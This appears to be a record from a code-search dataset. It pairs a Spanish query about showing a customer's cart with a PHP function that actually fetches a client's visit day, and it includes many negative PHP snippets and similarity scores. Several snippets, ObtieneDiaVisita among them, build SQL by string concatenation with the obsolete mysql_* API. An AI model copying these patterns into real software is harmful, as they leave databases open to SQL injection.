\t->fetchOne(); \t\n \t}\n\t \n return $q;\n }", "public function daEntrada(){\n\t\t$this->hora_entrada = date('d/m/y - H:i:s');\n\t\t$this->numero_visitas = $this->numero_visitas + 1;\n\t}", "public function getDateNaiss()\n {\n return $this->dateNaiss;\n }", "public function getCodigoOrdem(){\n return $this->iCodigoOrdem;\n }", "public function getFechaEmision() {\n return $this->fecha_emision;\n }", "public function getIdAluno()\n {\n return $this->id_aluno;\n }", "public function puestaACero()\n {\n $this->hh = 0;\n $this->mm = 0;\n $this->ss = 0;\n }", "function getFondoDeDefuncion(){\n\t \t$fecha\t= fechasys();\n\t \t$maximo_de_antiguedad\t= restardias($fecha, DIAS_A_ROTAR_FONDO_DE_DEFUNCION);\n\t \t$sql\t\t\t= \"SELECT\n\t\t\t\t\t`operaciones_mvtos`.`socio_afectado`,\n\t\t\t\t\t`operaciones_mvtos`.`tipo_operacion`,\n\t\t\t\t\tMAX(`operaciones_mvtos`.`fecha_afectacion`) AS `fecha_de_pago`,\n\t\t\t\t\tSUM(`operaciones_mvtos`.`afectacion_real`) AS `monto_pagado`\n\t\t\t\tFROM\n\t\t\t\t\t`operaciones_mvtos` `operaciones_mvtos`\n\t\t\t\tWHERE\n\t\t\t\t\t(`operaciones_mvtos`.`socio_afectado` = \" . $this->mCodigo . \")\n\t\t\t\t\tAND\n\t\t\t\t\t(`operaciones_mvtos`.`tipo_operacion` =902)\n\t\t\t\tGROUP BY `operaciones_mvtos`.`socio_afectado` \";\n\n\t\t$Datos\t= obten_filas($sql);\n\t\t$fecha\t= $Datos[\"fecha_de_pago\"];\n\t\t$monto\t= setNoMenorQueCero($Datos[\"monto_pagado\"]);\n\t\t$this->mMessages\t.= \"El Socio ha Pagado por Defuncion $monto, el Ultimo pago fue $fecha \\r\\n\";\n\t\tif ( $monto != 0){\n\t\t\t//Validar la Rotación\n\t\t\tif ( strtotime($fecha) < strtotime($maximo_de_antiguedad) ){\n\t\t\t\t$this->mMessages\t.= \"El Fondo ha Expirado, el pago fue $fecha, Maximo de Antiguedad en $maximo_de_antiguedad \\r\\n\";\n\t\t\t\t$monto\t\t\t\t= 0;\n\t\t\t}\n\t\t}\n\t\treturn $monto;\n\t }", "public function getIdTipoDonacion(){\n return $this->idTipoDonacion;\n }", "public function getDataPagamento()\n {\n return $this->dataPagamento ?? date('Y-m-d');\n }", "public function getDureeAnnuelle() {\n return $this->dureeAnnuelle;\n }", "function CalculaIdade( $data ) {\n\t//Data atual\n\t$dia = date ('d');\n\t$mes = date ('m');\n\t$ano = date ('Y');\n\t//Data do aniversário\n\t$dianasc = substr ( $data , 8, 2);\n\t$mesnasc = substr ( $data , 5, 2);\n\t$anonasc = substr ( $data , 0, 4);\n\t//Calculando sua idade\n\t$idade = $ano - $anonasc;\n\tif ($mes < $mesnasc){\n\t\t$idade--;\n\t\treturn $idade;\n\t}elseif ($mes == $mesnasc and $dia <= $dianasc) {\n\t\t$idade--;\n\t\treturn $idade;\n\t}else{\n\t\treturn $idade;\n\t}\n}", "public function getDoDate()\n {\n return $this->data['fields']['do_date'];\n }", "public function CodigoPedido()\r\n\r\n {\r\n $objetoBD = new Conexion();\r\n $objetoBD->conectar();\r\n $mysqli=$objetoBD->cadenaConexion();\r\n\r\n $consulta=\"SELECT max(ped_id) as maximo FROM pedidos \";\r\n $resultado=$mysqli->query($consulta);\r\n\r\n $maximo=\"\";\r\n while($fila=mysqli_fetch_object($resultado)){\r\n\r\n $maximo=$fila->maximo;\r\n\r\n\r\n }\r\n return $maximo+1;\r\n\r\n }", "public function getDados() {\n\n \t/**\n \t * Configurações do período informado.\n \t */\n $oDaoPeriodo = db_utils::getDao(\"periodo\");\n $sSqlDadosPeriodo = $oDaoPeriodo->sql_query_file($this->iCodigoPeriodo);\n $rsPeriodo = db_query($sSqlDadosPeriodo);\n $oDadosPeriodo = db_utils::fieldsMemory($rsPeriodo, 0);\n\n /**\n * Configurações do tipo de instituição da prefeitura ou câmara.\n */\n $oDaoDbConfig = db_utils::getDao(\"db_config\");\n $sWhere = \"codigo in({$this->getInstituicoes()})\";\n $sSqlDbConfig = $oDaoDbConfig->sql_query_file(null, 'db21_tipoinstit', null, $sWhere);\n $rsSqlDbConfig = $oDaoDbConfig->sql_record($sSqlDbConfig);\n $INumRowsDbConfig = $oDaoDbConfig->numrows;\n\n $iLimiteMaximo = 0;\n $iLimitePrudencial = 0;\n $nValorDespesaTotalPessoal = 0;\n $nTotalRCL = 0;\n $lTemPrefeitura = false;\n $lTemCamara = false;\n $lTemMinisterio = false;\n\n /**\n * Verifica o db21_tipoinstit para ver se é prefeitura ou câmara.\n */\n for ($iInd = 0; $iInd < $INumRowsDbConfig; $iInd++) {\n\n $oMunicipio = db_utils::fieldsMemory($rsSqlDbConfig, $iInd);\n\n if ($oMunicipio->db21_tipoinstit == 1) {\n $lTemPrefeitura = true;\n } else if ($oMunicipio->db21_tipoinstit == 2) {\n $lTemCamara = true;\n } else if ($oMunicipio->db21_tipoinstit == 101) {\n \t$lTemMinisterio = true;\n }\n }\n\n /**\n * Verifica o limite máximo (incisos I, II e III, art. 20 da LRF) {$iLimiteMaximo}%\n */\n if ($lTemPrefeitura == true && $lTemCamara == true) {\n\n if ($iLimiteMaximo == 0){\n $iLimiteMaximo = 60;\n $iLimiteMaximoAlerta = 54;\n\n }\n } else if ($lTemPrefeitura == true && $lTemCamara == false) {\n\n if ($iLimiteMaximo == 0) {\n\n $iLimiteMaximo = 54;\n $iLimiteMaximoAlerta = 48.6;\n }\n } else if ($lTemPrefeitura == false && $lTemCamara == true) {\n\n if ($iLimiteMaximo == 0) {\n $iLimiteMaximo = 6;\n $iLimiteMaximoAlerta = 5.4;\n }\n } else if ($lTemMinisterio) {\n\n if ($iLimiteMaximo == 0) {\n $iLimiteMaximo = 2;\n }\n }\n\n /**\n * Verifica o limite prudencial (parágrafo único, art. 22 da LRF) {$iLimitePrudencial}%\n */\n if ($iLimitePrudencial == 0) {\n $iLimitePrudencial = $iLimiteMaximo*95/100;\n }\n\n /**\n * Quadro de despesa bruta.\n */\n $oDespesaBruta = new stdClass();\n $oDespesaBruta->quadrodescricao = 'DESPESA BRUTA COM PESSOAL (I)';\n $oDespesaBruta->exercicio = 0;\n $oDespesaBruta->inscritas = 0;\n $oDespesaBruta->linhas = array();\n $oDespesaBruta->colunameses = $this->getDadosColuna();\n $oDespesaBruta->valorapurado = 0;\n $oDespesaBruta->percentuallimite = 0;\n $oDespesaBruta->linhatotalizadora = true;\n\n /**\n * Quadro de despesa não computadas.\n */\n $oDespesaNaoComputada = new stdClass();\n $oDespesaNaoComputada->quadrodescricao = 'DESPESAS NÃO COMPUTADAS (§ 1o do art. 19 da LRF) (II)';\n $oDespesaNaoComputada->exercicio = 0;\n $oDespesaNaoComputada->inscritas = 0;\n $oDespesaNaoComputada->linhas = array();\n $oDespesaNaoComputada->colunameses = $this->getDadosColuna();\n $oDespesaNaoComputada->valorapurado = 0;\n $oDespesaNaoComputada->percentuallimite = 0;\n $oDespesaNaoComputada->linhatotalizadora = true;\n\n /**\n * Quadro de despesa líquida.\n */\n $oDespesaLiquida = new stdClass();\n $oDespesaLiquida->quadrodescricao = 'DESPESA LÍQUIDA COM PESSOAL (III) = (I - II)';\n $oDespesaLiquida->exercicio = 0;\n $oDespesaLiquida->inscritas = 0;\n $oDespesaLiquida->linhas = array();\n $oDespesaLiquida->colunameses = $this->getDadosColuna();\n $oDespesaLiquida->valorapurado = 0;\n $oDespesaLiquida->percentuallimite = 0;\n $oDespesaLiquida->linhatotalizadora = true;\n\n /**\n * Quadro de despesa total com pessoal.\n */\n $oDespesaTotalComPessoal = new stdClass();\n $oDespesaTotalComPessoal->quadrodescricao = 'DESPESA TOTAL COM PESSOAL - DTP(V) = (IIIa + IIIb)';\n $oDespesaTotalComPessoal->exercicio = 0;\n $oDespesaTotalComPessoal->inscritas = 0;\n $oDespesaTotalComPessoal->linhas = array();\n $oDespesaTotalComPessoal->colunameses = array();\n $oDespesaTotalComPessoal->valorapurado = 0;\n $oDespesaTotalComPessoal->percentuallimite = 0;\n $oDespesaTotalComPessoal->linhatotalizadora = true;\n $oDespesaTotalComPessoal->percentualsobrercl = 0;\n\n /**\n * Quadro de receita corrente líquida.\n */\n $oReceitaTotalCorrenteLiquida = new stdClass();\n $oReceitaTotalCorrenteLiquida->quadrodescricao = 'RECEITA CORRENTE LÍQUIDA - RCL (IV)';\n $oReceitaTotalCorrenteLiquida->exercicio = 0;\n $oReceitaTotalCorrenteLiquida->inscritas = 0;\n $oReceitaTotalCorrenteLiquida->linhas = array();\n $oReceitaTotalCorrenteLiquida->colunameses = array();\n $oReceitaTotalCorrenteLiquida->valorapurado = 0;\n $oReceitaTotalCorrenteLiquida->percentuallimite = 0;\n $oReceitaTotalCorrenteLiquida->linhatotalizadora = false;\n\n /**\n * Quadro de despesa total com pessoal sem a RCL.\n */\n $oDespesaTotalComPessoalSemRCL = new stdClass();\n $oDespesaTotalComPessoalSemRCL->quadrodescricao = 'DESPESA TOTAL COM PESSOAL - DTP (V) = (III a + III b)';\n $oDespesaTotalComPessoalSemRCL->exercicio = 0;\n $oDespesaTotalComPessoalSemRCL->inscritas = 0;\n $oDespesaTotalComPessoalSemRCL->linhas = array();\n $oDespesaTotalComPessoalSemRCL->colunameses = array();\n $oDespesaTotalComPessoalSemRCL->valorapurado = 0;\n $oDespesaTotalComPessoalSemRCL->percentuallimite = 0;\n $oDespesaTotalComPessoalSemRCL->linhatotalizadora = false;\n\n /**\n * Quadro de limite máximo.\n */\n $oLimiteMaximo = new stdClass();\n $oLimiteMaximo->quadrodescricao = 'LIMITE MÁXIMO (VI) (incisos I, II e III, art. 20 da LRF)';\n $oLimiteMaximo->exercicio = 0;\n $oLimiteMaximo->inscritas = 0;\n $oLimiteMaximo->linhas = array();\n $oLimiteMaximo->colunameses = array();\n $oLimiteMaximo->valorapurado = 0;\n $oLimiteMaximo->percentuallimite = 0;\n $oLimiteMaximo->linhatotalizadora = false;\n\n /**\n * Quadro de limite prudencial.\n */\n $oLimitePrudencial = new stdClass();\n $oLimitePrudencial->quadrodescricao = 'LIMITE PRUDENCIAL (VII) = (0,95 x VI) (parágrafo único do art. 22 da LRF)';\n $oLimitePrudencial->exercicio = 0;\n $oLimitePrudencial->inscritas = 0;\n $oLimitePrudencial->linhas = array();\n $oLimitePrudencial->colunameses = array();\n $oLimitePrudencial->valorapurado = 0;\n $oLimitePrudencial->percentuallimite = 0;\n $oLimitePrudencial->linhatotalizadora = false;\n\n $oLimiteAlerta = new stdClass();\n $oLimiteAlerta->quadrodescricao = 'LIMITE DE ALERTA (VIII) = (0,90 x VI) (inciso II do §1º do art. 59 da LRF)';\n $oLimiteAlerta->exercicio = 0;\n $oLimiteAlerta->inscritas = 0;\n $oLimiteAlerta->linhas = array();\n $oLimiteAlerta->colunameses = array();\n $oLimiteAlerta->valorapurado = 0;\n $oLimiteAlerta->percentuallimite = 0;\n $oLimiteAlerta->linhatotalizadora = false;\n\n $aDadosMeses = $this->getDadosColuna();\n /**\n * Percorremos as linhas cadastradas no relatorio, e adicionamos os valores cadastrados manualmente.\n */\n $aLinhasRelatorio = $this->oRelatorioLegal->getLinhasCompleto();\n for ($iLinha = 1; $iLinha <= 7; $iLinha++) {\n\n $aLinhasRelatorio[$iLinha]->setPeriodo($this->iCodigoPeriodo);\n $aColunasRelatorio = $aLinhasRelatorio[$iLinha]->getCols($this->iCodigoPeriodo);\n\n /**\n * Monta o Object com os dados de cada linha interna do relatório.\n */\n $oLinha = new stdClass();\n switch ($iLinha) {\n\n \tcase 1:\n \t $sDescricao = ' Pessoal Ativo';\n \t break;\n\n case 2:\n $sDescricao = ' Pessoal Inativo e Pensionistas';\n break;\n\n case 3:\n $sDescricao = ' Outras despesas de pessoal decorrentes de contratos de terceirização (§ 1º do art. 18 da LRF)';\n break;\n\n case 4:\n $sDescricao = ' Indenizações por Demissão e Incentivos à Demissão Voluntária';\n break;\n\n case 5:\n $sDescricao = ' Decorrentes de Decisão Judicial de período anterior ao da apuração';\n break;\n\n case 6:\n $sDescricao = ' Despesas de Exercícios Anteriores de período anterior ao da apuração';\n break;\n\n case 7:\n $sDescricao = ' Inativos e Pensionistas com Recursos Vinculados';\n break;\n }\n\n $oLinha->descricao = $sDescricao;\n $oLinha->inscritas = 0;\n $oLinha->exercicio = 0;\n $oLinha->colunameses = $this->getDadosColuna();\n $oParametros = $aLinhasRelatorio[$iLinha]->getParametros($this->iAnoUsu,\n $this->getInstituicoes());\n /**\n * Verifica nas configurações se possui valores configurados por linha.\n */\n $aValoresColunasLinhas = $aLinhasRelatorio[$iLinha]->getValoresColunas(null, null,\n $this->getInstituicoes(),\n $this->iAnoUsu);\n foreach($aValoresColunasLinhas as $oValor) {\n\n \tif (isset($oLinha->colunameses[$oValor->colunas[0]->o117_valor])) {\n\n $oLinha->colunameses[$oValor->colunas[0]->o117_valor]->nValor += $oValor->colunas[1]->o117_valor;\n $oLinha->exercicio += $oValor->colunas[1]->o117_valor;\n $oLinha->inscritas += $oValor->colunas[2]->o117_valor;\n }\n }\n\n /**\n * Percore as colunas do período dos últimos 12 mêses.\n */\n foreach ($oLinha->colunameses as $sChaveMes => $oDadosMes) {\n\n \t/**\n \t * Informa as datas inicial e final do período.\n \t */\n $sDataInicialPeriodo = \"{$oDadosMes->iAno}-{$oDadosMes->iMes}-01\";\n $sDataFinalPeriodo = \"{$oDadosMes->iAno}-{$oDadosMes->iMes}-{$oDadosMes->iDiaFim}\";\n\n /**\n * Executa o saldo da dotação.\n */\n $sWhereDespesa = \"o58_instit in ({$this->getInstituicoes()})\";\n $rsDespesa = db_dotacaosaldo(8, 2, 3, true, $sWhereDespesa, $oDadosMes->iAno,\n $sDataInicialPeriodo, $sDataFinalPeriodo);\n\n /**\n * Verifica o saldo das contas por linha e mês do relatório\n */\n for ($iDespesa = 0; $iDespesa < pg_numrows($rsDespesa); $iDespesa++) {\n\n $oDespesa = db_utils::fieldsmemory($rsDespesa, $iDespesa);\n\n /**\n * Percorre as contas configuradas.\n */\n foreach ($oParametros->contas as $oConta) {\n\n $oVerificacao = $aLinhasRelatorio[$iLinha]->match($oConta, $oParametros->orcamento, $oDespesa, 2);\n if ($oVerificacao->match) {\n\n $oDespesaValores = clone $oDespesa;\n if ($oVerificacao->exclusao) {\n\n /**\n * Somas apenas os valor liquidados.\n */\n $oDespesaValores->liquidado *= -1;\n\n /**\n * Soma os demais valores\n */\n $oDespesaValores->liquidado_acumulado *= -1;\n $oDespesaValores->empenhado_acumulado *= -1;\n $oDespesaValores->anulado_acumulado *= -1;\n }\n\n $oLinha->colunameses[$sChaveMes]->nValor += $oDespesaValores->liquidado;\n $oLinha->exercicio += $oDespesaValores->liquidado;\n\n /**\n * Verifica totalização das inscritas do último período.\n */\n if ($oDadosPeriodo->o114_sigla == \"3Q\" || $oDadosPeriodo->o114_sigla == \"2S\"\n || $oDadosPeriodo->o114_sigla == \"DEZ\") {\n\n $aChaveMesColunaMeses = array_keys($oLinha->colunameses);\n if (trim($aChaveMesColunaMeses[11]) == trim($sChaveMes)) {\n\n $oLinha->inscritas += round(\n $oDespesaValores->empenhado_acumulado -\n $oDespesaValores->anulado_acumulado -\n $oDespesaValores->liquidado_acumulado, 2);\n }\n }\n }\n }\n }\n }\n\n /**\n * Monta as linhas dos quadros do demostrativo.\n */\n if ($iLinha <= 3) {\n $oDespesaBruta->linhas[$iLinha] = $oLinha;\n } else if ($iLinha >= 4) {\n $oDespesaNaoComputada->linhas[$iLinha] = $oLinha;\n }\n }\n\n /*\n * Calcula linhas totalizadoras da despesa bruta.\n */\n foreach ($oDespesaBruta->linhas as $oDadosLinhaDespesaBruta) {\n\n $oDespesaBruta->inscritas += $oDadosLinhaDespesaBruta->inscritas;\n $oDespesaBruta->exercicio += $oDadosLinhaDespesaBruta->exercicio;\n foreach ($oDadosLinhaDespesaBruta->colunameses as $sChaveMesDespesaBruta => $oDadosMesDespesaBruta) {\n\n \tif (isset($oDespesaBruta->colunameses[$sChaveMesDespesaBruta])) {\n $oDespesaBruta->colunameses[$sChaveMesDespesaBruta]->nValor += $oDadosMesDespesaBruta->nValor;\n \t}\n }\n }\n\n /**\n * Calcula linhas totalizadoras da despesa não computada.\n */\n foreach ($oDespesaNaoComputada->linhas as $oDadosLinhaDespesaNaoComputada) {\n\n $oDespesaNaoComputada->inscritas += $oDadosLinhaDespesaNaoComputada->inscritas;\n $oDespesaNaoComputada->exercicio += $oDadosLinhaDespesaNaoComputada->exercicio;\n foreach ($oDadosLinhaDespesaNaoComputada->colunameses as $sChaveMesDespesaNaoComputada\n => $oDadosMesDespesaNaoComputada) {\n\n if (isset($oDespesaNaoComputada->colunameses[$sChaveMesDespesaNaoComputada])) {\n $oDespesaNaoComputada->colunameses[$sChaveMesDespesaNaoComputada]\n ->nValor += $oDadosMesDespesaNaoComputada->nValor;\n }\n }\n }\n\n /**\n * Calcula linhas totalizadoras da despesa liquída.\n */\n $oDespesaLiquida->inscritas = ($oDespesaBruta->inscritas - $oDespesaNaoComputada->inscritas);\n $oDespesaLiquida->exercicio = ($oDespesaBruta->exercicio - $oDespesaNaoComputada->exercicio);\n foreach ($oDespesaLiquida->colunameses as $sChaveMesDespesaLiquida => $oDadosMesDespesaLiquida) {\n\n \tif (isset($oDespesaLiquida->colunameses[$sChaveMesDespesaLiquida])) {\n \t\t$oDespesaLiquida->colunameses[$sChaveMesDespesaLiquida]->nValor = ( $oDespesaBruta\n \t\t ->colunameses[$sChaveMesDespesaLiquida]\n \t\t ->nValor\n \t\t - $oDespesaNaoComputada\n \t\t ->colunameses[$sChaveMesDespesaLiquida]\n \t\t ->nValor );\n \t}\n }\n\n /**\n * Verifica valor RCL nas configurações da linha 8.\n */\n $aLinhasRelatorio[8]->setPeriodo($this->iCodigoPeriodo);\n $aValoresColunasLinhas = $aLinhasRelatorio[8]->getValoresColunas(null, null,\n $this->getInstituicoes(),\n $this->iAnoUsu);\n foreach($aValoresColunasLinhas as $oValor) {\n\n if (isset($oValor->colunas[0]->o117_valor)) {\n $nTotalRCL += $oValor->colunas[0]->o117_valor;\n }\n }\n\n if ($nTotalRCL == 0) {\n /**\n * Para o cálculo da RCL, a base de cálculo\n * deve ser feita por todas as instituições.\n */\n $rsInstituicoes = db_query(\"SELECT codigo FROM db_config;\");\n $oInstituicoes = db_utils::getCollectionByRecord($rsInstituicoes);\n $aInstituicoes = array();\n foreach ($oInstituicoes as $oInstituicao){\n $aInstituicoes[]= $oInstituicao->codigo;\n }\n $sInstituicoes = implode(\",\",$aInstituicoes);\n\n\t /**\n\t * Calcula RCL - duplicaReceitaaCorrenteLiquida.\n\t */\n $dtInicialAnterior = ($this->iAnoUsu-1).\"-01-01\";\n $dtFinalAnterior = ($this->iAnoUsu-1).\"-12-31\";\n\n duplicaReceitaaCorrenteLiquida($this->iAnoUsu, 81);\n\n $nTotalRCL += calcula_rcl2($this->iAnoUsu, $this->getDataInicial()->getDate(), $this->getDataFinal()->getDate(),\n $sInstituicoes, false, 81);\n $nTotalRCL += calcula_rcl2(($this->iAnoUsu-1), $dtInicialAnterior, $dtFinalAnterior,\n $sInstituicoes, false, 81, $this->getDataFinal()->getDate());\n }\n\n $nValorDespesaTotalPessoal = ($oDespesaLiquida->exercicio + $oDespesaLiquida->inscritas);\n\n /**\n * Verifica valor % despesa total com pessoal - DTP sobre a RCL (VI)=(IV/V)*100.\n */\n if ($nTotalRCL > 0) {\n $nValorDesepesaTotalPessoalSobreRCL = ($nValorDespesaTotalPessoal/$nTotalRCL)*100;\n } else {\n $nValorDesepesaTotalPessoalSobreRCL = 0;\n }\n\n $nPercentualDespesaPessoalSobreRcl = 0;\n if ($nTotalRCL > 0) {\n $nPercentualDespesaPessoalSobreRcl = ($nValorDespesaTotalPessoal * 100) / $nTotalRCL;\n }\n\n /**\n * Soma valores totail do limite maximo (incisos I, II e III, art. 20 da LRF) e\n * do limite prudencial (parágrafo único, art. 22 da LRF).\n */\n $nValorLimiteMaximo = (($nTotalRCL + 0) * $iLimiteMaximo) / 100;\n $nValorLimitePrudencial = (($nTotalRCL + 0) * $iLimitePrudencial) / 100;\n $nValorLimiteAlerta = (($nTotalRCL + 0) * $iLimiteMaximoAlerta) / 100;\n\n $oDespesaTotalComPessoal->valorapurado = $nValorDespesaTotalPessoal;\n $oDespesaTotalComPessoal->percentualsobrercl = $nPercentualDespesaPessoalSobreRcl;\n $oReceitaTotalCorrenteLiquida->valorapurado = $nTotalRCL;\n $oDespesaTotalComPessoalSemRCL->valorapurado = $nValorDesepesaTotalPessoalSobreRCL;\n $oLimiteMaximo->percentuallimite = $iLimiteMaximo;\n $oLimiteMaximo->valorapurado = $nValorLimiteMaximo;\n $oLimitePrudencial->percentuallimite = $iLimitePrudencial;\n $oLimitePrudencial->valorapurado = $nValorLimitePrudencial;\n\n $oLimiteAlerta->percentuallimite = $iLimiteMaximoAlerta;\n $oLimiteAlerta->valorapurado = $nValorLimiteAlerta;\n\n /**\n * Monta Object para retorno com todos os dados por quadro informado.\n */\n $oRetorno = new stdClass();\n $oRetorno->quadrodespesabruta = $oDespesaBruta;\n $oRetorno->quadrodespesanaocomputadas = $oDespesaNaoComputada;\n $oRetorno->quadrodespesaliquida = $oDespesaLiquida;\n $oRetorno->quadrodespesatotalcompessoal = $oDespesaTotalComPessoal;\n $oRetorno->quadroreceitatotalcorrenteliquida = $oReceitaTotalCorrenteLiquida;\n $oRetorno->quadrodespesatotalcompessoalsemrcl = $oDespesaTotalComPessoalSemRCL;\n $oRetorno->quadrolimitemaximo = $oLimiteMaximo;\n $oRetorno->quadrolimiteprudencial = $oLimitePrudencial;\n $oRetorno->quadrolimitealerta = $oLimiteAlerta;\n\n unset($aLinhasRelatorio);\n\n $this->oDados = $oRetorno;\n return $this->oDados;\n }", "public function asignarOrden($orden)\n {\n $counters= $this->getDoctrine()->getManager()->getRepository('BaseBundle:Empresa')->getCountersOrderedByTimeOfQueue($orden->getEmpresa()->getId(),$orden->getFecha()->format('H:i:s'));\n \n if($orden instanceof Anulacion)\n {\n $emision= $this->getDoctrine()->getManager()->getRepository('EmisionesBundle:Emision')->findOneBy(array('numeroOrden'=>$orden->getTarjet()));\n if($emision instanceof Emision && $emision->getUsuario() instanceof Usuariointerno)\n {\n// print_r(\"entro\");exit;\n if(in_array($emision->getUsuario()->getId(), array_column($counters, 'id')))\n {\n return $emision->getUsuario(); \n }\n }\n// print_r(\"salio\");exit;\n }\n foreach (array_column($counters, 'id') as $id_counter)\n {\n $counter= $this->getDoctrine()->getManager()->getRepository('EmisionesBundle:Usuariointerno')->find($id_counter);\n if($orden->getFecha() < $counter->getInicioAlmuerzo() && $orden->getFecha()>= $counter->getInicioJornada())\n {//horario mannana del counter\n return $counter; \n }\n elseif($orden->getFecha() > $counter->getFinAlmuerzo() && $orden->getFecha() <= $counter->getFinJornada())\n {//horario de la tarde del counter\n return $counter;\n }\n } \n return false;\n }", "public function getQtdAtendida()\n {\n return $this->qtdAtendida;\n }", "public function getDepartamento()\n {\n return $this->departamento;\n }", "public function getDepartamento()\n {\n return $this->departamento;\n }", "public function getFechaVencimientoEstudianteDocumento( ){\n\t\t\treturn $this->fechaVencimientoEstudianteDocumento;\n\t\t}", "private function ageChaton() { \n $datenow = new DateTime(\"now\");\n $result = date('Y-m-d', strtotime('-365 day')); //-12 mois\n\n return $result;\n }" ]
[ "0.6709419", "0.65539455", "0.655066", "0.6451325", "0.643929", "0.64337367", "0.6397999", "0.6282442", "0.6258859", "0.6096148", "0.6045415", "0.6036419", "0.60084575", "0.5984363", "0.59353817", "0.5933484", "0.5928284", "0.5927537", "0.59221894", "0.58958334", "0.5875179", "0.5873215", "0.5847364", "0.5834346", "0.5832237", "0.58165735", "0.5816065", "0.5813652", "0.58033645", "0.5782519", "0.57680196", "0.5754896", "0.5752439", "0.5740121", "0.57360715", "0.5721518", "0.57076246", "0.5705182", "0.5703217", "0.5702879", "0.56919676", "0.5689459", "0.56822014", "0.56802183", "0.5679715", "0.56796527", "0.5677975", "0.56735337", "0.5671013", "0.5670802", "0.5650367", "0.5649156", "0.56462187", "0.56395334", "0.56384593", "0.563068", "0.56300884", "0.5629577", "0.56258845", "0.56222135", "0.56176794", "0.56162876", "0.56096345", "0.5603893", "0.56016576", "0.55818516", "0.55803955", "0.55798894", "0.55788136", "0.55788136", "0.55732626", "0.55614716", "0.5558903", "0.5557087", "0.5557087", "0.55556846", "0.5549633", "0.5547248", "0.5535266", "0.55270666", "0.55248356", "0.5522861", "0.55193585", "0.55168176", "0.55125344", "0.551136", "0.5504545", "0.55004877", "0.5490262", "0.54902464", "0.5485742", "0.5479111", "0.54733443", "0.54733384", "0.54706514", "0.5469867", "0.5466079", "0.546571", "0.546571", "0.5462439", "0.5459046" ]
0.0
-1
muestra el carrito de un cliente
function ObtieneDiaVisita($CardCode){ if($this->con->conectar()==true){ $Resultado = mysql_query("SELECT `DiaVisita` FROM `Cliente_Proveedores` WHERE `CardCode` = '".$CardCode."'"); if($Resultado){ while( $Articulos = mysql_fetch_array($Resultado) ) { $DiaVisita = $Articulos['DiaVisita'] ; }} return $DiaVisita; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getCliente();", "public function getcliente()\r\n {\r\n return $this->cliente;\r\n }", "public function getNomeCliente(){/*Retorna o nome_cliente*/\n\t\t\treturn $this-> nome_cliente;\n\t\t}", "public function getIdcliente() {\n\t\t\t\treturn $this->id_cliente ?? \"Id do Cliente não solicitado !!\";\n\t\t\t}", "function getIdCliente()\r\n\t {\r\n\t\t return $this->id_cliente;\r\n\t }", "public function getIdCliente(){\r\n return $this->idCliente;\r\n }", "public function getCliente()\n {\n return $this->cliente;\n }", "public function getNom_client()\n {\n return $this->nom_client;\n }", "function altaCliente ($cliente){\r\n $this->clientes[] = $cliente; /// Este es el ejemplo de altaCliente que ha echo Jesús.\r\n }", "function Listar_Clientes()\n\t {\n\t\tlog_message('INFO','#TRAZA| CLIENTES | Listar_Clientes() >> ');\n\t\t$data['list'] = $this->Clientes->Listar_Clientes();\n return $data;\n\t }", "public function getClientes_idclient(){\n return $this->clientes_idclient;\n }", "public function getidcliente(){\n\t\treturn $this->_idcliente;\n\t}", "function listarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_sel';\n\t\t$this->transaccion='REC_CLI_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_cliente','int4');\n\t\t$this->captura('genero','varchar');\n\t\t$this->captura('ci','varchar');\n\t\t$this->captura('email','varchar');\n\t\t$this->captura('email2','varchar');\n\t\t$this->captura('direccion','varchar');\n\t\t$this->captura('celular','varchar');\n\t\t$this->captura('nombre','varchar');\n\t\t$this->captura('lugar_expedicion','varchar');\n\t\t$this->captura('apellido_paterno','varchar');\n\t\t$this->captura('telefono','varchar');\n\t\t$this->captura('ciudad_residencia','varchar');\n\t\t$this->captura('id_pais_residencia','int4');\n\t\t$this->captura('nacionalidad','varchar');\n\t\t$this->captura('barrio_zona','varchar');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('apellido_materno','varchar');\n\t\t$this->captura('id_usuario_ai','int4');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('usuario_ai','varchar');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\n $this->captura('nombre_completo1','text');\n $this->captura('nombre_completo2','text');\n\t\t$this->captura('pais_residencia','varchar');\n\t\t//$this->captura('nombre','varchar');\n\n\n\n\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function getNomClient() {\n return $this->nomClient;\n }", "public function listar_clientes(){\n\t\t$sql=\"SELECT idpersona, tipo_persona, nombre, tipo_documento, num_documento, contacto, direccion, telefono, email FROM persona\n\t\tWHERE tipo_persona LIKE 'Cliente'\";\n\t\treturn ejecutarConsulta($sql);\n\t}", "public function ctlBuscaClientes(){\n\n\t\t$respuesta = Datos::mdlClientes(\"clientes\");\n\n\t\tforeach ($respuesta as $row => $item){\n\t\t\techo '<option value=\"'.$item[\"nombre\"].'\">'.$item[\"nombre\"].'</option>';\n\t\t}\n\t}", "public function listaCliente() {\n\n return $clientes; // array de clientes\n }", "public function mostrarClientes() {\n //String $retorno\n //Array Cliente $col\n $retorno = \"\";\n $col = $this->getColClientes();\n for ($i = 0; $i < count($col); $i++) {\n $retorno .= $col[$i] . \"\\n\";\n $retorno .= \"----------------------------\\n\";\n }\n return $retorno;\n }", "function _ConsultarClientes()\n\t\t{\n\t\t\t$query='\n\t\t\t\tSELECT\n\t\t\t\tclientes.id,\n\t\t\t\tclientes.nb_cliente,\n\t\t\t\tclientes.nb_apellidos,\n\t\t\t\tclientes.de_email,\n\t\t\t\tclientes.num_celular,\n\t\t\t\tusuarios.nb_nombre as \"Ins_nombre\", \n\t\t\t\tusuarios.nb_apellidos as \"Ins_apellido\" \n\t\t\t\tFROM sgclientes clientes\n\t\t\t\tleft join sgusuarios usuarios on clientes.id_usuario_registro=usuarios.id\n\t\t\t\twhere clientes.sn_activo=1\n\t\t\t\tORDER BY clientes.id ASC\n\t\t\t\n\t\t\t';\n\t\t\t$clientes = $this->EjecutarTransaccionAllNoParams($query);\n\t\t\treturn $clientes;\n\t\t}", "public function 